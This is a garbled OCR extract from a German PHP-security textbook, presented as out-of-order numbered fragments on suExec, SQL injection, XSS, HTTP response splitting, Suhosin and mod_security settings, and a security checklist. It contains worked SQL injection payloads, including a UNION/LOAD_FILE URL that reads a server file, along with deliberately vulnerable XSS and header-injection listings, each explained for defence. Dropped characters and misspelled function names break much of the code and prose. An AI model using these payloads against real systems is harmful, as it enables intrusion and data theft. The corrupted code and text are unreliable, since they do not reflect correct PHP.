24. ist einen Benutzer und eine Gruppe f r jeden virtuellen Host anzulegen Daf r gibt es bei Apache 1 die Konfigurationsdirektiven User und Group sowie bei Apache 2 SuexecUserGroup die geringf gig bequemer ist Beiden Direktiven k nnen Sie eine numerische mit vor angestelltem ID oder einen Namen bergeben Um also CGI und PHP Skripte unter dem Benutzer peter in der Gruppe users laufen zu lassen tragen Sie innerhalb des VirtualHost Blocks Folgendes ein unter Apache 1 User peter Group users Beim Start des Webservers sollte der suExec Wrapper seine Funktions f higkeit mit folgender Zeile im Error Log vermelden Thu Aug 18 23 15 55 2005 notice suEXEC mechanism enabled wrapper usr local apache bin suexec Die Installation von suExec ist damit abgeschlossen alle CGI Anwendungen und damit auch die CGlI Version von PHP wird nun stets von dem in der Webserver Konfiguration angegebenen Benutzer ausgef hrt Allerdings ergibt sich aus dieser Tatsache auch die Not wendigkeit dass Sie f r jeden Benutzer ein eigenes PHP Binary bereit stellen m ssen Dateien die nicht dem aktuellen Benutzer geh ren wird suExec n mlich nicht ausf hren Bei gro en Hosting Servern kann dies ein Skalierbarkeitsproblem bedeuten ist doch ein PHP 5 CGI nach dem Kompilieren noch 11 MByte gro Bei einigen Hundert Kunden kann das zu mehreren Giga byte Overhead f hren Sofern Sie Ihre PHP Binaries mit dem Unix Kommando strip p
25. ob Satz schon vorhanden res mysql_query SELECT ID FROM Browser WHERE UserAgent 1 SERVERL HTTP_USER_AGENT Ist ein Satz vorhanden if mysql_num_rows res 0 Neuen Satz einf gen res mysql_query INSERT INTO Browser UserAgent VALUES _SERVERL HTTP_USER AGENT else Alten Satz auslesen row mysql_fetch assoc res Z hler beim alten Satz erh hen res mysql_query UPDATE Browsers SET Counter Counter l WHERE ID row ID Nat rlich ist dieses Skript sehr vereinfacht zur besseren Lesbar keit wurde etwa die Fehlerbehandlung weggelassen aber zur Erl uterung des Angriffes ausreichend In der Variablen _SERVER HTTP_USER AGENT steht nun OR ID 100 Das SQL Statement SELECT ID FROM Browser WHERE UserAgent Mozilla OR 1D 100 sorgt nun daf r dass das SQL Statement den Satz mit der ID 100 ausliest Somit ist es einem Angreifer m glich jeden Satz um n 5 2 Auffinden von SQL Injection M glichkeiten 129 Stellen zu erh hen Dieser Angriff zerst rt zwar nicht die Daten bank verf lscht aber unsere Statistiken Es ist aber noch ein weitaus schlimmerer Angriff m glich Da ein Angreifer den User Agent beliebig ver ndern kann ist er in der Lage eine Zufallszahl an den User Agent anzuh ngen die sich bei jedem Request ndert Somit wird f r jeden Request ein neuer Datensatz in die Datenbank geschrieben Irgendwann ist die Festplatte voll und
26. php als Suffix versehen sind wie Textdateien und liefern sie dementsprechend als Klartext aus und damit den gesamten Quellcode Werden nun mit einem FTP Programm ganze Verzeichnisse auf den Webserver bertragen kann es passieren dass auch tempor re Dateien mit bertragen werden Diese Dateien werden dann vom Web server unter Umst nden im Quellcode an den Client bermittelt Entfernen Sie tempor re Dateien auf dem Webserver 2 6 2 Include und Backup Dateien In Include oder Backup Verzeichnissen k nnen Dateien liegen die eine andere Dateiendung als php haben und vom Webserver als reiner Text zur ck an den Client geschickt werden Um als Angreifer oder Security Tester nun in diese Verzeichnisse zu wechseln muss die URL im Browser entsprechend angepasst werden und falls f r dieses Ver zeichnis DirectoryListing am Webserver aktiviert ist wird ein Ver zeichnisbaum mit allen Dateien angezeigt H ufig verwendete Dateien dungen sind inc lib dev old bak Auch hier muss die Grof und Kleinschreibung beachtet werden Sie sollten sich angew hnen in jedes Unterverzeichnis Ihrer PHP Projekte dessen Dateien nicht direkt angezeigt werden sollen eine leere Indexdatei zu legen Bereits eine 0 Byte gro e index html hat den Effekt dass der Webserver selbst bei aktiviertem DirectoryListing keine Dateiliste mehr anzeigt schlie lich hat er ja eine Indexdatei gefunden die er stets dem Listing vorzieht Backup Dat
27. schl gt das SQL Statement nun fehl WHERE Username Peter AND Password pass 5 3 Syntax einer SQL Injection Am Ende der Query also vor dem fehlt eine schlie ende Klam mer Deshalb wird diese Query nicht ausgef hrt Diese Beispiele zeigen uns dass man mit einem Kommentar in SQL feststellen kann wann ein SQL Statement richtig endet Wenn der Kommentar angeh ngt wird und es wird kein Fehler ausgegeben bedeutet dies dass das SQL Statement genau vor dem Kommentar endet Andernfalls ist weiteres Ausprobieren notwendig 5 3 4 UNION Injections Obwohl das Verf lschen von SELECT WHERE Statements in den meis ten Applikationen Erfolg bringt muss ein Angreifer auch eine UNION Injection durchf hren k nnen um auf andere Tabellen oder Felder zugreifen zu k nnen Dies ist mit einer einfachen SQL Injection nicht m glich Bei einer einfachen SQL Injection kann nur auf die Tabelle die nach dem SELECT angegeben wurde zugegriffen werden Auch wei tere Datenfelder k nnen nicht ausgelesen werden Ein UNION SELECT Statement erfordert Wissen ber die Anzahl der Felder im Original SQL Statement und auch der Typ der einzelnen Datenfelder spielt eine Rolle Letzteres allerdings gilt nicht f r MySQL MySQL f hrt eine automatische Typumwandlung durch deshalb kann man hier auf das Erkennen der Datentypen verzichten Hierbei helfen uns wieder detaillierte Fehlermeldungen die uns auf eine falsche Anzahl der ausgelese
28. scht und bis auf den Namen alle entsprechenden Eintr ge in _FILES entfernt 11 6 Beispielkonfiguration Nach der Erkl rung der diversen Konfigurationsoptionen haben wir Ihnen eine exemplarische Konfiguration zusammengestellt die Sie ein fach in Ihre php ini einf gen k nnen Die Einstellungen sind gute Richtlinien nat rlich kann es in Ihrer Anwendung durchaus sein dass Sie den einen oder anderen Wert etwas anpassen m ssen Sollte Ihnen im laufenden Betrieb Ihrer Skripte auffallen dass gelegentlich statt der erwarteten Ausgabe eine wei e Seite ausgeliefert wird oder dass Variablen auf mysteri se Weise fehlen so ist daf r vermutlich eine falsch gew hlte Einstellung f r Suhosin zust ndig Denken Sie auch daran dass der Suhosin Simulationsmodus ein gutes Werkzeug ist um eine Konfiguration zu testen ohne dass dies einen negativen Einfluss auf Ihre Applikation hat suhosin executor max_depth 1000 suhosin executor func blacklist mysql_pconnect pentl_fork suhosin sql bailout_on_error On suhosin multiheader On suhosin log syslog S_EXECUTOR amp S_MEMORY amp S_MISC suhosin log syslog priority LOG_CRIT suhosin log sapi S_ALL amp S_SQL suhosin log script S_ALL suhosin multiheader Off suhosin mail protect 1 suhosin cookie encrypt On suhosin cookie cryptlist PHPSESSID suhosin cookie cryptkey GEHEIMNIS suhosin log script name pfad zu logscript sh suhosin request max_array_depth 50 suhosi
29. sensitive Daten in Cookies gespeichert Sessionl schung Wird die Session beim Logout zerst rt PHP Fehlermeldungen K nnen Sie mit einem manipulierten Request Fehlermeldungen von PHP erzeugen Informationslecks Wird bei falschem Login angezeigt ob Username oder Passwort falsch waren HTML Kommentare Enthalten HTML Kommentare sch tzenswerte Informationen XSS Formulare Kann an Eingabeformulare Skriptcode bergeben werden der nicht gefiltert wird XSS User Agent Referrer K nnen Sie ber einen manipulierten User Agent oder HTTP Referrer Skriptcode einschleusen Second Order Attacke XSS Cookies Werden Werte aus Cookies z B Benutzer ID ungepr ft bernommen URL Parameter SQL Injection K nnen Sie ber ein Formular eigene SQL Statements Formulare ins System einschleusen SQL Injection K nnen z B ber numerische IDs in URL Parametern SQL Statements eingeschleust werden SQL Injection Cookies Werden IDs o in Cookies gespeichert anhand derer man SQL Statements einf gen k nnte A Checkliste f r sichere Webapplikationen 313 Art der L cke Anmerkung Remote Code Kann ber einen Parameter PHP Code von einem Ausf hrung fremden Server ausgef hrt werden unsicheres include XSS via XML K nnen Angreifer ber einen vom Produkt verwendeten XML Service z B RSS Feeds bei CMS Blogs Skriptcode einsch
30. tzlich zu den Dateien auch noch der Content der geschrieben wer den soll berpr ft werden Denn es ist essenziell wichtig ob nur einfa cher Text oder auch Skriptcode in eine Datei geschrieben werden soll 3 3 5 Angriffe auf Shell Ebene Die PHP Funktionen system exec fpassthru usw aber auch der Backtick Operator bieten Applikationsentwicklern die M glich keit auf die Systemebene des Webservers zuzugreifen Diese M glichkeit kann nat rlich auch von Angreifern oder Secu rity Testern ausgenutzt werden falls Parameter an diese Funktionen bergeben werden Sind diese Parameter nur ungen gend validiert kann ein Angreifer eigene Befehle einf gen und mit den Rechten des Webserver Users ausf hren Da es verschiedene Konsolen f r Webserver gibt und somit verschiedene gef hrliche Steuerzeichen ist eine Filterung per regul ren Ausdr cken fast unm glich Hier bietet sich ebenfalls eine Whitelist berpr fung an Das bedeutet dass Sie nur die Befehle zulassen die Sie auch zulassen m chten und dass Sie nicht versuchen b sen Code zu reinigen wie dies bei einer Blacklist berpr fung der Fall w re PHP stellt f r die einfache Maskierung von Kommandozeilenbe fehlen zwei Funktionen bereit esacpeShel1ICmd Diese Funktion umschlie t die bergebene Zeichenkette mit einfachen Anf hrungszeichen und maskiert alle existierenden einfachen Anf hrungszeichen in der Zeichenkette Das Umschlief en mit einfa ch
31. und die Hersteller reagieren mit einer Benachrichtigung sobald das Problem behoben ist Einen Gutteil des Verkehrs auf BugTraq machen Advisories der Anbieter von verschiedensten Linux Distributionen aus die ihre Nut zer auf sicherheitsrelevante Updates hinweisen BugTraq ist mittlerweile mehr oder minder eine reine Ank ndi gungsliste der Diskurs findet inzwischen an anderen Stellen statt Wenn Sie Zeit sparen m chten empfiehlt sich ein Abonnement dieser Mailingliste statt eines FD Abos BugTraq k nnen Sie abonnieren indem Sie eine leere Mail an die Adresse bugtrag subscribe securityfocus com senden 9 https Nlists grok org uk mailman listinfo full disclosure 10 http lists seifried org mailman listinfo security 1 8 OWASP sl 1 7 4 WebAppSec F r Entwickler von Webapplikationen hochinteressant ist die Liste WebAppSec kurz f r Web Application Security Hier tauschen sich Webentwickler jeder Couleur ber Sicherheitsfragen aus Nicht nur L cken und Exploits geh ren zum Thema der Liste sondern auch Dis kussionen ber den Einsatz von SSL Webserver Sicherheit und Fire walls Auf der Liste gehen blicherweise nicht mehr als zehn Postings pro Tag ein und die Schnittmenge mit Beitr gen auf BugTraq oder Full Disclosure ist praktisch null Daher sollten Sie ein Abonnement in Erw gung ziehen Postings sind in der Regel von hoher Qualit t und f r Webentwickler interessant Auch f r ein WebAppSec Abonnement
32. unerwartetes Verhalten des Webservers bis hin zum Absturz tritt auf Aus diesen Gr nden sollten auch die Servervariablen auf Inhalt gepr ft werden Hier kann die Variable _SERVER HTTP_USER AGENT mit der PHP Funktion mysql_real_escape_string behandelt werden Diese PHP Funktion sorgt daf r dass keine SQL Sonderzeichen unbe handelt an die Datenbank weitergereicht werden Sonderzeichen sind hier einfache und doppelte Anf hrungszeichen das Semikolon oder ein NULL Wert 0 00 Die Funktion maskiert diese Sonderzeichen beim SQL Statement mit einem Backslash speichert sie aber unmaskiert in der Datenbank ab Unser SQL Statement w rde nach einer Behandlung mit mysqI_real_escape_string wie folgt aussehen SELECT ID FROM Browser WHERE UserAgent Mozilla OR 1D 100 Dieses SQL Statement liefert nun keinen Satz mehr aus der Datenbank zur ck Das INSERT Statement danach funktioniert aber weiterhin Dies kann auch mit einfachen Mitteln nicht verhindert werden Eine M g lichkeit dieses INSERT Statement zu unterbinden w re eine Whitelist berpr fung mithilfe eines Arrays das alle g ltigen User Agents ent h lt Das ist aber sehr pflegeaufwendig da bei jedem neuen Browser das Array erg nzt werden muss Eine weitere aber sehr schlechte M glichkeit f r ein korrektes INSERT Statement w re eine Blacklist berpr fung Diese berpr fung sollte alle SQL Schl sselw rter ent fernen also OR AND usw aber auch
33. wie 97l Nutzt das Dokument den UTF 8 Zeichensatz dann sieht der Auf ruf von htmlentities in etwa so aus str htmlentities str ENT_QUOTES UTF 8 Zu beachten ist bei der Wahl des Zeichensatzes dass dieser den Brow sern bekannt ist Wird ein unbekannter Zeichensatz ausgew hlt dann f hrt das wiederum zu heuristischer Ermittlung des Zeichensatzes Behandeln Sie Benutzereingaben vor der Anzeige stets mindestens mit htmlentities benutzereingabe ENT_QUOTES zeichensatz und teilen Sie dem Browser immer per HTTP Header oder HTML Meta Tag mit wel cher Zeichensatz genutzt wird 4 12 XSS verbieten HTML erlauben wie Leider ist das Leben nicht immer so einfach wie im obigen Fall Gerade Autoren von CMS oder Blog Systemen und oft auch Foren sehen sich mit der Anforderung konfrontiert HTML Code in ihren Eingabefor mularen zuzulassen und trotzdem Sicherheit gegen XSS Angriffe zu gew hrleisten Ein einfaches strip_tags das s mtliche SGML Tags vernichtet ist hier fehl am Platze da dem Benutzer die M glichkeit gegeben werden soll seinen Text ansprechend zu formatieren 4 12 1 BBCode Eine M glichkeit diesem Problem beizukommen ist ein Pseudo Mar kup wie BBCode also eine zus tzliche Auszeichnungssprache die von Ihrer Anwendung dann wieder in HTML zur ck bersetzt wird Dieser Ansatz ist Erfolg versprechend wenn Sie den Benutzern Ihres CMS Blog oder Forumsystems die Benutzung von BBCode nahebringen
34. 1 4 Sicherheitskonzepte Ziel zu erreichen Dadurch sind First Order Angriffe in der Regel leichter durchzuf hren als Second Order Attacken Die Angriffe zweiter Ordnung m ssen meist blind durchgef hrt werden Der Angreifer wei oder vermutet dass an einer bestimmten Stelle in der Zielanwendung nur ungen gende Eingabevalidierung vor genommen wird kann diese Tatsache jedoch nicht direkt ausnutzen weil er an das betroffene Subsystem nicht herankommt Ein klassisches Beispiel wird im Kapitel 4 Cross Site Scripting behandelt Log Dateien oder Datenbanken sind ein pr destiniertes Ziel f r Second Order Angriffe Der Angreifer sorgt daf r dass mit Schadcode verse hene Anfragen gespeichert werden und wartet nun darauf dass ein Administrator der Zielanwendung diese Daten auswertet Ob und wann das geschehen wird und ob der Angriff dann auch erfolgreich sein wird kann er nur selten vorhersagen Somit sind Second Order Angriffe h ufig wesentlich komplizierter und langwieriger in der Durchf hrung was dazu f hrt dass Entwick ler und Administratoren ihnen nur geringe Bedeutung beimessen Die Tatsache dass sie jedoch meist direkt gegen Inhaber hoch privilegierter Accounts gerichtet sind macht diese Angriffsklasse f r Angreifer wie Verteidiger gleicherma en zu einer lohnenden Herausforderung 1 4 Sicherheitskonzepte Security is a process not a product Bruce Schneier Seitdem elektronische Datenverarbeitung existier
35. 1 Server Banner erfragen 2 2222 c scene 19 2 2 2 Webserver Verhalten interpretieren 21 2 2 3 Tools f r Webserver Fingerprinting 22 2 3 Betriebssystem erkennen 22222 cseeeeeeee een 22 2 4 PHP Installation erkennen 22222 ceeeeeeee 23 2 5 Datenbanksystem erkennen 2 2 22ecceeeeeenen 26 viii Inhaltsverzeichnis 2 6 2 7 2 8 2 9 2 10 2 11 2 12 3 1 3 2 3 3 D ter Altlasten 02422 sa use 27 2 6 1 Tempor re Dateien 222222000 28 2 6 2 Include und Backup Dateien 29 2 6 3 Dateien von Entwicklungswerkzeugen 30 2 6 4 Vergessene oder versteckte PHP Dateien 31 2 6 5 Tempor re CVS Dateien 222220200 32 Pfade 2 520080 ns ent 32 2 7 1 mod_speling rn eet sa ea a aa eaa 32 2 2 robots txt e Sarnen Beben 33 2 7 3 Standardpfade 22222ceceeeeeeeeenn 34 2 7 4 Pfade verk rzen 22222cceeeeeeeeeeenn 37 Kommentare aus HTML Dateien 222202 37 Applikationen erkennen 22222ceeeeeeen 38 2 9 1 Das Aussehen Layout 22222 ceeceecenn 39 2 9 2 Typische Dateien bekannter Applikationen 39 2 9 3 Header Felder 0 u2 Nena 39 2 9 4 Bestimmte Pfade 2222eceeeeeeeeen 39 2 9 5 Kommentare im Quellcode 40 2 9 6 HTML Metatags 2 2222 222eeeeeeeeerenn 41 Default User vu et S 41 Google D rk arsana Betas nen 42 az en Br NE N NE en N A SE NA AS 42 Parametermanipulation 45 G
36. 17799 Wert In der PHP Welt ist das beispielsweise ein API Ihrer Anwendung an die Ihre Kun den ihre eigenen Anwendungen anschlie en k nnen um Funktionen Mo 1 Einleitung und Informationen mit Ihrem System auszutauschen Hier sollten Ver einbarungen vor Missbrauch sch tzen Auch die Sicherheit von Zugangskennungen wird behandelt dem Standard folgend sollten Sie Ihren Benutzern sei es in einem PHP Forum einem CMS oder einer Administrationsoberfl che nur exakt die Privilegien geben die f r die Ausf hrung der jeweiligen Aufgabe notwendig sind und darauf achten dass Passw rter sicher sind und geheim bleiben Tempor re Passw rter die direkt nach der Registrie rung oder auf Anforderung durch den Benutzer vergeben werden soll ten auf einem sicheren Weg nicht im Klartext per E Mail wie leider meist blich sondern m glichst per SSL gesch tzter HTTP Verbin dung bergeben und vom Benutzer sofort ge ndert werden Eine vollst ndige Besprechung der ISO 17799 bzw der Nachfolger dieser Richtlinie w rde den Rahmen dieses Buches sprengen Sie ist jedoch als Zusammenfassung der Vorg nge und Arbeitsweisen die guten Systemadministratoren in Fleisch und Blut bergegangen sind eine wertvolle Hilfe ISO 17799 kann kostenpflichtig im Internet direkt ber den Onlineshop der ISO bestellt werden 1 6 Wie verkaufe ich Sicherheit Wenn Sie dieses Buch lesen sind Sie vielleicht auf irgendeine Weise professioneller PH
37. 317 B 5 post_max_size M gliche Einstellungen int M Voreinstellung 8M Bereich PHP_INI_PERDIR Hier wird bestimmt welche Gr e ein POST Request haben darf Die Zahl wird in Megabyte angegeben B 6 magic_quotes_gpc M gliche Einstellungen On Off Voreinstellung On Bereich PHP_INI_PERDIR Ist diese Konfigurationsoption on werden alle einfachen und doppel ten Anf hrungszeichen NULL und Backslashes in GET POST oder Cookie Variablen automatisch mit einem Backslash maskiert Zu beachten ist hierbei dass in PHP Umgebungs und Servervariablen auch betroffen sind B 7___magic_quotes_runtime M gliche Einstellungen On Off Voreinstellung Off Bereich PHP_INI_ALL Wenn magic_quotes_runtime auf on steht werden alle Anf hrungszei chen in Daten aus externen Datenquellen wie z B einer Datenbank mit einem Backslash maskiert B 8 always_populate_raw_post_data M gliche Einstellungen On Off Voreinstellung Off Bereich PHP_INI_PERDIR Gibt an ob PHP die Variable HTTP_RAW_POST_DATA immer bef llen soll oder nicht In dieser Variablen stehen normalerweise die POST Requests 318 B Wichtige Optionen in php ini die PHP nicht bearbeiten kann z B aufgrund eines unbekannten MIME Types B 9 allow_url_fopen M gliche Einstellungen On Off Voreinstellung On Bereich PHP_IN
38. Antwort besteht aus zwei g ltigen Antworten Das bedeutet der Proxy oder Cache Server merken sich die erste Anfrage und nehmen die erste Ant wort aus der gef lschten Anfrage Die zweite harmlose Anfrage wird der zweiten Antwort aus der ersten gef lschten Anfrage zugeordnet Somit ist ein Ver ndern der Applikation oder Phishing m glich ohne Einfluss auf den Webserver zu nehmen denn der zwischen Benut zer und Webserver geschaltete Proxy oder Cache Server liefert zur richtigen Anfrage eine gef lschte Antwort zur ck HTTP Response Splitting findet da statt wo PHP Skripte Daten vom User in HTTP Header einf gen Dies ist bei der PHP Funktion header der Fall zum Beispiel bei einer Umleitung auf eine neue Seite oder dem Senden eines HTTP Statuscodes Aber auch bei der Funktion setcookie werden Header Zeilen verschickt hier jedoch ist zumin dest unter PHP 5 kein Angriff m glich Alle Cookie Werte werden von PHP automatisch URL codiert Cookie Namen werden auf die Sonderzeichen n und r untersucht und bei Vorhandensein abgelehnt Der Cookie Name wird jedoch nur in den allerseltensten F llen durch vom User angegebene Daten vorgegeben header Location www php sicherheit de httprs php lang _GET lang Hier wird ein URL Parameter ungepr ft an die PHP Funktion header bergeben Steht in _GET Tang z B en findet eine Weiterleitung nach httprs php lang en statt Hier die typische Antwort eines Webservers
39. Auffinden von SQL Injection M glichkeiten 123 5 2 1 GEI Parameter sienas saena Danaa OnE araa 124 5 2 2 POST Parameter corri cesrres sri nins inise 125 5 2 3 Cookie Parameter 2 2222020 uneen 126 3 2 4 Servervariablen ua 2 ma 127 5 3 Syntax einer SQL Injection 2222 ceeeeeeeee nn 130 5 3 1 Sonderzeichen inSQL 222222 130 5 3 2 Schl sselw rter in SQL 22222 131 5 3 3 Einfache SQL Injection 2 2222222 2 131 5 34 UNION Injections 22 2222er 133 54 Advanced SQL Injection 2 222222 0eeeeeen 136 5 4 1 LOAD FILE 2er a ee 136 5 4 2 Denial of Service mit SQL Injection 137 5 4 3 ORDER BY Injection 2 222222 138 5 5 Schutz vor SQL Injection 22222 eeeeeeeen nn 139 5 5 1 Sonderzeichen maskieren 2222ccc00 139 5 5 2 Ist Schl sselwort Filterung ein wirksamer Schutz 22cceeeeeeeeee nn 140 5 5 3 Parameter Binding Prepared Statements 140 5 5 4 Stored Procedures 222ceceeeeeeeeenn 142 se Ve nee 143 6 Authentisierung und Authentifizierung 145 6 1 Wichtige Begriffe 2 22 22 cceeeeeeeeeeeneeeenn 145 6 1 1 Authentisierung 22ccceceeeeeeeen 145 6 1 2 Authentifizierung 2 2 22ecceeeeeeeeenn 146 6 1 3 Autorisierung 2 2 22 eeeeeeeeeenereneenn 146 Inhaltsverzeichnis xi 6 2 Authentisierungssicherheit nnnnnnnnnnnnn n 147 6 2 1 o PERE eisen 147 6 2 2 Behandlung von Passw rtern 149 6 2 3 Benut
40. B mit der PHP Funktion urlencode benutzen Sie folgende Direktive SecFilterCheckURLEncoding On Off M chten Sie sichergehen dass alle Daten korrekt UTF 8 codiert an die entsprechenden Subsysteme bergeben werden k nnen Sie mod_secu rity diese Aufgabe bertragen Sobald Sie die Direktive SecFilterCheck UnicodeEncoding On Off aktivieren werden berpr fungen auf g l tige Unicode Zeichen vorgenommen nach RFC 22793 Um sich gegen Stack Overflow Angriffe per URL zu wehren k n nen Sie mod_security veranlassen nur Daten aus einem bestimmten Bytebereich durchzulassen f r Stack Smashing wird blicherweise Datenm ll aus den h heren Bereichen verwendet Die Direktive SecFilterForceByteRange Anfang Ende dient dazu die sen Bereich zu definieren ist sie nicht in Ihrer Konfiguration enthal ten werden alle Daten von 0 bis 255 von mod_security akzeptiert F r den unwahrscheinlichen Fall dass Sie darauf aufmerksam machen m chten dass Sie mod_security verwenden k nnen Sie mit einer Konfigurationseinstellung daf r sorgen dass mod_security ein Token an die von Apache in jedem Header zur ckgegebenen Server Tokens anf gt Die zugeh rige Direktive lautet SecServerResponseToken On off eine typische Ausgabe w rde nach Aktivierung dieser Direktive so aussehen Server Apache 1 3 31 Unix mod_throttle 3 1 2 mod_ss1 2 8 19 OpenSSL 0 9 7d mod_security 1 8 4 2 httpi www fags org rfes rfc1738 html 3 http
41. Client und Server Session IDs in einem Cookie Session IDs in der URL selbst nachr sten Sicherheitsprobleme ergeben sich wenn der Session Mechanismus ausgetrickst werden kann um die Sitzung eines anderen Anwenders zu bernehmen und Aktionen in seinem Namen auszuf h ren Falls eine Skriptsprache einen Session Mechanismus mitbringt sollte man diesen m glichst nutzen denn dieser ist in der Regel aus f hrlich getestet und Schritt f r Schritt verbessert worden das PHP eigene Session Management gilt hier als vorbildlich Nat rlich erlau ben auch Skriptsprachen mit eingebautem Session Management eine eigene Behandlung von Sessions um die individuellen Notwendigkei ten bei manchen Anwendungen befriedigen zu k nnen Das Session Management von PHP legt auf dem Webserver eine Datei im daf r vorgesehenen Verzeichnis an und speichert dort alle Session Daten wie z B den Inhalt eines Warenkorbes Dies bedeutet dass die Session Daten nie den Client erreichen Der Client erh lt vom Server nur die Session ID die die Sitzung auf dem Server identifiziert und meist gleichzeitig der Name der Session Datei ist Die Session IDs k nnen auf drei Arten zwischen Browser und Ser ver bermittelt werden in einem Cookie im Query String als Formularfeld Beim Transport mithilfe von Cookies wird das Cookie bei jedem Request als HTTP Header an den Webserver mitgeschickt Das Cookie wird vom PHP Interpreter bzw von der Applikation au
42. Constraint Bereich in dem die konkreten Parameterbedin gungen f r jede zu sch tzende URL definiert werden Das Dokument wird von einem XML Header sowie der Angabe der notwendigen DTD eingeleitet Die DTD Datei wird mit mod_parm guard geliefert und sollte von Ihnen in dasselbe Verzeichnis kopiert werden in dem Sie die XML Konfiguration erstellen Die Kopfzeilen sehen wie folgt aus lt xml version 1 0 gt gt lt DOCTYPE parmguard SYSTEM mod_parmguard dtd gt 304 12 Webserver Filter f r Apache In der globalen Sektion werden Sie haben es vermutlich bereits erra ten f r die gesamte XML Datei g ltige Parameter eingestellt und zwar jeweils mit einem einzeiligen XML Tag Sie bestimmen mit die sen Tags wie sich mod_parmguard im Fall eines Regelversto es oder ihm unbekannter Variablen und URLs verh lt Alle diese Optionen sind auch ohne explizite Nennung in der XML Datei auf ihre Stan dardwerte gesetzt die Sie in der Erl uterung der einzelnen Optionen finden Das einzeilige XML Tag f r einen Parameter sieht etwa so aus lt global name parametername value parameterwert gt Einige Parameter stehen zur Verf gung um das Verhalten der White list zu beeinflussen Der Parameter http_error_code kann einen numerischen HTTP Fehlercode enthalten der beim Versto gegen eine Whitelist Filter regel zur ckgegeben wird Dieser Parameter ist hnlich der status Aktion bei mod_security Der Standardwert f r
43. Die GET Methode trifft man am h ufigsten an denn jeder Aufruf eines Links in einer HTML Seite oder die Eingabe einer URL in der Adressleiste l st einen GET Request aus Nach der Methode und der URL mitsamt der Parameter folgt die Angabe ber die verwendete HTTP Version und in der zweiten Zeile steht der Host an den die Anfrage gerichtet ist Danach folgen Angaben ber den Client wie z B der User Agent oder die unterst tzten Zeichens tze des Clients Bei der Methode POST k nnte die HTTP Anfrage so aussehen POST index php HTTP 1 1 Host www php sicherheit de User Agent Mozilla 5 0 X11 U Linux i686 en US rv 1 7 12 Gecko 20050920 Firefox 1 0 7 SUSE 1 0 7 0 1 Accept text xml application xml application xhtml xml text html q 0 9 text plain q 0 8 image png q 0 5 Accept Language en us en q 0 5 Accept Encoding gzip deflate Accept Charset 15S0 8859 1 utf 8 q 0 7 q 0 7 Keep Alive 300 Cookie sid c456f0469051414d0f239621c215070f Content Type application x www form urlencoded Content Length 7582 submit 41C81F1785858947C41D1E24A8287B6D amp rec_id 4l amp tree_id 3 amp rec _tan 11291126 Bei diesem POST Request stehen die Daten die aus einem Formular mit dem Attribut method post an den Server bermittelt werden im Body Teil des HTTP Pakets Der Server nimmt dieses Paket entgegen und versucht die pas sende Datei aus seinem Dateisystem zu laden Geschieht das erfolg reich entnimmt nun der Serve
44. Ein zentraler Nachteil von CAPTCHAs ist dass sie die Barriere freiheit von Websites massiv blockieren Sehbehinderte Besucher wer den nur selten oder nie in der Lage sein an der durch die verzerrten Grafiken gestellten H rde vorbeizukommen Blinde Benutzer die Webseiten mithilfe eines als Braillezeile bekannten Hilfsmittels lesen k nnen ber dieses Ger t berhaupt keine Grafiken ertasten Websi tes die aufgrund ihrer Ausrichtung barrierefrei also f r Behinderte voll benutzbar sein m ssen k nnen somit keine rein grafischen CAPTCHAs verwenden Sie m ssen zus tzlich Audio CAPTCHAS erzeugen um sehbehinderte Benutzer nicht auszusperren Von allen anderen werden CAPTCHAs inzwischen auf breiter Front eingesetzt um automatisiertes Spam Anmeldungen bei Foren und Maildiensten und Account Bruteforcing zu verhindern Gro e Sites wie Hotmail Google Mail und Yahoo setzen auf grafische CAPTCHAs um Spammer davon abzuhalten sich immer neue Zug nge einzurichten Diese haben jedoch inzwischen einen Weg gefunden CAPTCHAs zu umgehen Sie richten Websites ein auf denen sie kostenlos Bilder pornografischer Natur anbieten Um diese Bilder ansehen zu k nnen muss der Anwender jedoch ein CAPTCHA lesen und die enthaltene Zeichenfolge eingeben Dieses CAPTCHA stammt jedoch von Hotmail oder einem anderen Dienst denn im Hintergrund haben die Spammer bereits eine Anmeldung bei diesem Freemail Service automatisch so weit ausgef llt dass sie nur noch
45. Es scheint als ob jeder Entwickler ab und an vers umen w rde sich den ersten Merksatz sicherer Webapplikationen ins Ged chtnis zu rufen Vertraue nie Eingaben die vom Benutzer kommen An vielen Stellen ist eine XSS L cke nicht mit vertretbarem Aufwand f r wirk lich b se Zwecke zu nutzen sehr oft jedoch ist ein Cookie Diebstahl unsagbar einfach m glich Sie sollten XSS nicht untersch tzen Au erdem ist es h chst peinlich wenn Skriptcode im Sicherheitskon text Ihrer Website ausgef hrt wird um lustige Popups wie Doofer PHP Programmierer zu erzeugen 4 8 Ein klassisches XSS Es ist bei vielen dynamischen Webseiten gerade solchen deren Betrei ber ihre ersten Gehversuche mit PHP unternehmen popul r einige Daten des Besuchers abzufragen und sie dann in einer Art personali sierter Ansprache anzuzeigen Beispielsweise k nnte man zun chst den Vornamen des Surfers abfragen per JavaScript Popup oder normalem HTML Formular und diesen dann anzeigen Das k nnte so aussehen wie im folgenden Listing 4 8 Ein klassisches XSS sol lt php if isset _GET vorname echo lt hl gt Hallo _GET vorname lt h1 gt else echo lt form method GET action SERVERL PHP_SELF gt echo Bitte Vornamen eingeben echo lt input type text name vorname gt echo lt input type submit gt lt form gt gt Ist die GET Variable vorname gesetzt so wird der Besuch
46. Fehler Vierte Spalte ist vom Typ String Der Angreifer hat nun ein g ltiges UNION SELECT Statement Dieses SQL Statement kann zum Auslesen von beliebigen Daten f hren 5 4 Advanced SQL Injection Im Folgenden sehen Sie noch weitere M glichkeiten eine Datenbank anzugreifen die ber eine normale SQL Injection hinausgehen 5 4 1 LOAD FILE Die LOAD_FILE Funktion von MySQL liefert einen String zur ck der den Inhalt einer angegebenen Datei enth lt Ein Beispiel auf einem Windows Server SELECT LOAD_FILE c boot ini Dieses SQL Statement liefert den Inhalt der Datei boot ini zur ck Falls bei PHP in der Konfigurationsdatei php ini die Konfigurationsdi rektive magic_quotes_gpc auf on steht werden alle Anf hrungszeichen mit einem Backslash maskiert MySQL akzeptiert aber auch hexadezi mal codierte Strings als Ersatz f r literarische Strings Die beiden fol genden SQL Statements liefern dasselbe Ergebnis zur ck 5 4 Advanced SQL Injection 137 SELECT LOAD_FILE c boot ini SELECT LOAD_FILE 0x633a2f626f6f742e696e69 Hier ein Beispiel wie man ber eine SQL Injection Schwachstelle die Datei c boot ini erh lt http mysql example com query php user 1 union select load_file 0 x633a2f626 f6f742e696e69 1 1 Dies erzeugt folgende Ausgaben boot loader timeout 30 default multi O disk O rdisk O pa 11 Wir erhalten nur die ersten Bytes der Datei boot ini da die UNION Anweisung das Ergebnis in der
